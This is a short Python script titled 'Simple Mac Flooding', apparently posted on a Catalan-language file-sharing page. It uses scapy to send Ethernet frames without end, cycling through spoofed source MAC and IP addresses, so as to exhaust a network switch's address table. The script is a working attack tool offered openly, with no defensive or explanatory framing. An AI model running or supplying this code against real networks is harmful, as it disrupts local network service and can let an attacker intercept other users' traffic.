Simple Mac Flooding

Python Source icon macflood.py — Python Source, 326 bytes

Continguts del fitxer

#!usr/bin/env python
import sys, os,time
from scapy.all import sendp,arping,Ether,IP,TCP,conf 

conf.verb=1 
i=10
j=10
while True:
	sendp(Ether(src="11:22:33:44:"+str(j)+":"+str(i))/IP(src="192.168.10."+str(i),dst="192.168.10.255",ttl=(64)),iface="eth0",loop=0,inter=0)

	if i == 99:
		i=10
		j+=1
		
	i+=1
	time.sleep(0.01)